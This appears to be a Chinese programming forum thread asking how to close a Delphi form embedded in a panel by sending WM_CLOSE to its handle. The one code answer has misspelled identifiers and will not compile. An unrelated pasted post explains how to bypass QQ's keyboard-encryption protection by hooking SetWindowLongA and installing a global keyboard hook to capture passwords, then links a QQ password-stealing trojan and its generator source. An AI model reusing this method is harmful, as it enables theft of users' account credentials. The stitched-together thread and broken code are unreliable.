100分问个问题。关于如何获取控件句柄的问题。
一个Form被嵌入到一个panel中显示。
现在要发送wm_close消息给这个Form,让他关闭。
问题是:如何才能获取这个Form的窗口句柄?
条件是:不要我传入当初这个Form设计时的类名(例如TFrmMain、TForm1等等)
不要我传入当初这个Form设计时的窗口名(例如,xx程序等等)
换句话说,如何取得这个Form的父类名(TForm)
[解决办法]
UP
[解决办法]
var
i: integer;
begin
for i := 0 to Panel1.CompnetCount-1 do
begin
if (Panel1.Compnets[i] is TForm)
begin
SendMessage(TWinControl(Panel1.Compents[i]).Handle, WM_CLOSE, 0, 0);
break;
end;
end;
end;
[解决办法]
破解QQ键盘保护的新方法
首先声明我这么做并不是为了盗号,请不要问我任何关于盗号的问题。本人极其痛恨那些盗号的无赖们。
如果你的QQ密码丢了,并且没有申请密码保护,或忘了密码保护,我除了表示同情,并替你痛骂那些盗号的无耻之徒以外别无它法。
其次,我要提醒广大QQ用户,一定要注意管理好自己QQ的密码保护,以便找回密码。不要以为的杀毒软件很厉害,
也不要以为腾讯目前的所谓的“国际领先的Nprotect键盘加密技术”有多强,有密码保护才是正道!!
破解“国际领先的Nprotect键盘加密技术”,对于老版本(QQ2005),前辈们有很多办法了:有直接改写npkcntc.dll的,
有将npkcntc.dll删除,然后hook住LoginCtrl.Dll将带红叉图片的替换为不带红叉的。但似乎那些对于新版本QQ都失效了,
以上两种方法都逃不过LoginCtrl.Dll里面的验证函数,QQ启动会受到阻止。
QQ没有加壳,调试起来真方便,很快我们就可以找到其它的突破口。以下我介绍其中最简单的一种,也是几乎对目前所有版本
的QQ都适用的一种:hook住QQ进程模块儿里的npkcntc.dll函数SetWindowLongA的调用,我们什么都不处理,直接返回0.
说道这里,相信很多高手们都明白了,原来QQ的密码输入框的消息处理函数被定为到npkcntc.dll模块里了,它在这里对密码框的
键盘输入进行加密,然后把加密后的字符在以消息的形式通知给主窗口,我们要做的就是让密码框的消息处理函数根本的不到机会
执行,这样,这窗口处理键盘消息,这样我们加的全局键盘钩子就可以的到想要的键盘输入了。
这里还有个小小的问题,对于hook住npkcntc.dll函数SetWindowLongA的调用,我们什么都不处理,直接返回0,我们确实可以正确得到
用户的输入,得到QQ密码,但是,QQ却提示密码出错(即使你输入的是正确的)。对于这个问题,我有个解决方案,是我无意中
发现的,我说不出原因,因为我的调试技术是初学还不是很精,我把它写出来,希望有人能帮我分析一下,谢谢。
hook住npkcntc.dll函数SetWindowLongA的调用,直接返回0,QQ却提示密码出错问题解决方案如下:
在我们自己的SetWindowLongA中返回0之前,我们创建一个临时的窗体,这个窗体创建并显示(可以在屏幕以外显示,这样就看不见了)后,
立即退出,这样问题就解决了。 其实说白了,大概的意思就是,在调用SetWindowLongA的时候,让输入焦点从QQ的登陆窗口移走。
我不知道为什么需要这样,我是无意中发现的,但确实适用。请达人详解。
附上本人给予以上方法做的一个QQ2006木马:http://www.looksgood.cn/tools/spy/SPYQQ3.zip
其中比较繁琐的是我把dll做成资源了,自己看吧,注意Generator里面是木马生成器的源码。
我从刘麻子的代码那里copy了很多过来,做了修改。在此向他表示致敬。